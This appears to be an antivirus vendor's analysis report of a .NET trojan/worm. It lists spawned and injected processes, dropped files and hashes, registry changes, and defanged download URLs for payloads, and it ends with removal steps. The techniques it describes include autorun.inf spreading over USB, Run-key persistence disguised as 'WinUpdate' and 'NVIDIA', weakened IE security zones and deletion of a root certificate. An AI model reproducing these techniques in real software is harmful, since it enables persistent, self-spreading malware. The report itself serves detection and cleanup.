Gen.Heur.MSIL.Krypt.6_0bc70e6ada – Adaware

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Trojan creates the following process(es):

3ufyh7855UF.exe:652
4ufyh7855UF.exe:1928
vbc.exe:1380
5ufyh7855UF.exe:364
%original file name%.exe:348

The Trojan injects its code into the following process(es):

ntvdm.exe:900
ntvdm.exe:2296
nvdisp.exe:2064
vbc.exe:1624
Explorer.EXE:888

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process 3ufyh7855UF.exe:652 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Tar8.tmp (2712 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab5.tmp (54 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%Documents and Settings%\%current user%\Templates\2_MSUpdate.exe (143 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (49 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (408 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab7.tmp (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar6.tmp (2712 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar4.tmp (2712 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%Documents and Settings%\%current user%\Templates\nvdisp.exe (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab3.tmp (54 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\Tar8.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar6.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab3.tmp (0 bytes)

The process ntvdm.exe:900 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\DOCUMENTS AND SETTINGS (4 bytes)
C:\ (4 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Program Files%\WIRESHARK (16 bytes)
%WinDir%\WinSxS (12 bytes)
%WinDir%\AppPatch (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\All Users (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%WinDir%\Microsoft.NET\Framework (96 bytes)
%Documents and Settings%\%current user%\Application Data\winupdate.exe (110 bytes)
%WinDir% (492 bytes)
C:\$Directory (2516 bytes)
%WinDir%\Temp\scs2.tmp (10145 bytes)
%System% (5808 bytes)
%System%\config\SysEvent.Evt (128 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (672 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%Documents and Settings%\%current user%\Templates (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.6.0.Microsoft.Windows.Common-Controls_6595b64144ccf1df_x-ww_5ddad775 (4 bytes)
C:\PROGRAM FILES (8 bytes)
%Documents and Settings%\%current user%\APPLICATION DATA (4 bytes)
%System%\config (8 bytes)
%System%\wbem\Logs\wbemess.log (768 bytes)
%System%\wbem (1064 bytes)
%System%\drivers (32 bytes)
%Documents and Settings%\All Users\Start Menu (4 bytes)
%Documents and Settings%\%current user% (4 bytes)
%WinDir%\Temp\scs1.tmp (33880 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\LOCAL SETTINGS (4 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\scs1.tmp (0 bytes)
%WinDir%\Temp\scs2.tmp (0 bytes)

The process ntvdm.exe:2296 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\scs9.tmp (33880 bytes)
%System%\config\systemprofile (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData (8 bytes)
%Documents and Settings%\%current user%\Templates (4 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content (8 bytes)
%WinDir% (480 bytes)
%WinDir%\Temp\scsA.tmp (10145 bytes)
%System%\config (8 bytes)
C:\$Directory (784 bytes)
%Documents and Settings%\%current user%\LOCAL SETTINGS (4 bytes)
%System% (3360 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\scs9.tmp (0 bytes)
%WinDir%\Temp\scsA.tmp (0 bytes)

The process 4ufyh7855UF.exe:1928 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\winupdate.exe (673 bytes)

The process nvdisp.exe:2064 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BPHB6KJ8\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A6S26RMD\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\L9EPXB20\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Templates\System.Data.SQLite.DLL (151 bytes)
%Documents and Settings%\%current user%\Templates\51_MSUpdate.exe (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2ZKMQ807\desktop.ini (67 bytes)

The process vbc.exe:1624 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\data.dat (37 bytes)
%Documents and Settings%\%current user%\Application Data\winupdate.exe (3860 bytes)

The process %original file name%.exe:348 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\4ufyh7855UF.exe (20740 bytes)
%Documents and Settings%\%current user%\Application Data\5ufyh7855UF.exe (70868 bytes)
%Documents and Settings%\%current user%\Application Data\3ufyh7855UF.exe (50796 bytes)

Registry activity

The process 3ufyh7855UF.exe:652 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Templates]
"2_MSUpdate.exe" = "2_MSUpdate"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "49 A2 C2 15 5E BF 8D A0 52 4D 22 82 27 43 31 D6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\3ufyh7855UF\DEBUG]
"Trace Level" = ""

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Templates]
"nvdisp.exe" = "nvidia"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\3ufyh7855UF\DEBUG]
"Trace Level"

The process 4ufyh7855UF.exe:1928 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A D5 07 CA 84 92 9A 03 48 68 B9 5F 39 51 D9 85"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WinUpdate" = "%Documents and Settings%\%current user%\Application Data\winupdate.exe"

The process nvdisp.exe:2064 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\nvdisp\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Templates]
"51_MSUpdate.exe" = "51_MSUpdate"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "33 D0 C9 79 98 AC 97 4D 0E FF C6 83 2D 34 FE 64"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4]
"Blob" = "04 00 00 00 01 00 00 00 10 00 00 00 91 DE 06 25"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NVIDIA" = "%Documents and Settings%\%current user%\Templates\nvdisp.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"NVIDIA" = "%Documents and Settings%\%current user%\Templates\nvdisp.exe"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\nvdisp\DEBUG]
"Trace Level"

[HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates]
"2796BAE63F1801E277261BA0D77770028F20EEE4"

The process vbc.exe:1624 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 CD B3 00 3E 4B 23 27 1F 74 4E 47 F2 01 BE 9D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\VB and VBA Program Settings\SrvID\ID]
"15LO3LJ3K5" = "vpn"

[HKCU\Software\VB and VBA Program Settings\INSTALL\DATE]
"15LO3LJ3K5" = "August 17, 2016"

The process 5ufyh7855UF.exe:364 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "05 7F 6B 3D BA C2 53 1B E4 B3 D7 58 44 F1 6B 9A"

[HKCU\Software\Microsoft\Direct3D\MostRecentApplication]
"Name" = "5ufyh7855UF.exe"

The process %original file name%.exe:348 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2F 40 D9 84 24 9B 8D 72 96 AE 7B 95 85 2A 9A 23"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

Dropped PE files

MD5	File path
a6977a0abccd06120fc6b71e8622acba	c:\Documents and Settings\"%CurrentUserName%"\Application Data\3ufyh7855UF.exe
74da90a4f94aa3ce93d0687bbbccb4c6	c:\Documents and Settings\"%CurrentUserName%"\Application Data\4ufyh7855UF.exe
d938431360774897da7e4af3812fddaf	c:\Documents and Settings\"%CurrentUserName%"\Application Data\5ufyh7855UF.exe
67f5238229333c061092f5a32e8c2ee1	c:\Documents and Settings\"%CurrentUserName%"\Application Data\winupdate.exe
a6977a0abccd06120fc6b71e8622acba	c:\Documents and Settings\"%CurrentUserName%"\Templates\nvdisp.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
3ufyh7855UF.exe:652
4ufyh7855UF.exe:1928
vbc.exe:1380
5ufyh7855UF.exe:364
%original file name%.exe:348
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\Tar8.tmp (2712 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab5.tmp (54 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
%Documents and Settings%\%current user%\Templates\2_MSUpdate.exe (143 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (49 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (408 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab7.tmp (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar6.tmp (2712 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tar4.tmp (2712 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
%Documents and Settings%\%current user%\Templates\nvdisp.exe (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cab3.tmp (54 bytes)
C:\DOCUMENTS AND SETTINGS (4 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Program Files%\WIRESHARK (16 bytes)
%WinDir%\WinSxS (12 bytes)
%WinDir%\AppPatch (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\All Users (4 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%Documents and Settings%\%current user%\Application Data\winupdate.exe (110 bytes)
C:\$Directory (2516 bytes)
%WinDir%\Temp\scs2.tmp (10145 bytes)
%System% (5808 bytes)
%System%\config\SysEvent.Evt (128 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (672 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.6.0.Microsoft.Windows.Common-Controls_6595b64144ccf1df_x-ww_5ddad775 (4 bytes)
C:\PROGRAM FILES (8 bytes)
%Documents and Settings%\%current user%\APPLICATION DATA (4 bytes)
%System%\wbem\Logs\wbemess.log (768 bytes)
%System%\drivers (32 bytes)
%Documents and Settings%\All Users\Start Menu (4 bytes)
%WinDir%\Temp\scs1.tmp (33880 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\LOCAL SETTINGS (4 bytes)
%WinDir%\Temp\scs9.tmp (33880 bytes)
%System%\config\systemprofile (4 bytes)
%WinDir%\Temp\scsA.tmp (10145 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\BPHB6KJ8\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A6S26RMD\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\L9EPXB20\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Templates\System.Data.SQLite.DLL (151 bytes)
%Documents and Settings%\%current user%\Templates\51_MSUpdate.exe (143 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2ZKMQ807\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\data.dat (37 bytes)
%Documents and Settings%\%current user%\Application Data\4ufyh7855UF.exe (20740 bytes)
%Documents and Settings%\%current user%\Application Data\5ufyh7855UF.exe (70868 bytes)
%Documents and Settings%\%current user%\Application Data\3ufyh7855UF.exe (50796 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"WinUpdate" = "%Documents and Settings%\%current user%\Application Data\winupdate.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NVIDIA" = "%Documents and Settings%\%current user%\Templates\nvdisp.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"NVIDIA" = "%Documents and Settings%\%current user%\Templates\nvdisp.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: CompanyHere
Product Name: ProductHere
Product Version: 1.1.1.1
Legal Copyright: CopyrightHere
Legal Trademarks: TrademarkHere
Original Filename: RageKing Loader_crypted.exe
Internal Name: RageKing Loader_crypted.exe
File Version: 1.1.1.1
File Description: WindowsAPP
Comments: DescriptionHere
Language: Language Neutral

Company Name: CompanyHereProduct Name: ProductHereProduct Version: 1.1.1.1Legal Copyright: CopyrightHereLegal Trademarks: TrademarkHereOriginal Filename: RageKing Loader_crypted.exeInternal Name: RageKing Loader_crypted.exeFile Version: 1.1.1.1File Description: WindowsAPPComments: DescriptionHereLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	3043268	3043328	2.79353	662ab4c169626fd9eeb5f95215a1a8a8
.rsrc	3055616	2304	4096	1.99395	465060026a01f84ddca7ded6e3a0de54
.reloc	3063808	12	4096	0.011373	35bde98b79985fc5dae000b796effe1a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://block-www.g1.dropbox.com/u/15572473/winupdater.exe
hxxp://block-www.g1.dropbox.com/u/15572473/stuff.txt
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/authrootseq.txt
hxxp://c-0001.c-msedge.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab
hxxp://block-www.g1.dropbox.com/u/15572473/System.Data.SQLite.DLL
hxxp://whatismyip.com/automation/n09230945.asp	104.27.202.91
hxxp://dl.dropbox.com/u/15572473/stuff.txt
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt	13.107.4.50
hxxp://dl.dropboxusercontent.com/u/15572473/stuff.txt
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	13.107.4.50
hxxp://dl.dropbox.com/u/15572473/System.Data.SQLite.DLL
hxxp://dl.dropbox.com/u/15572473/winupdater.exe

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

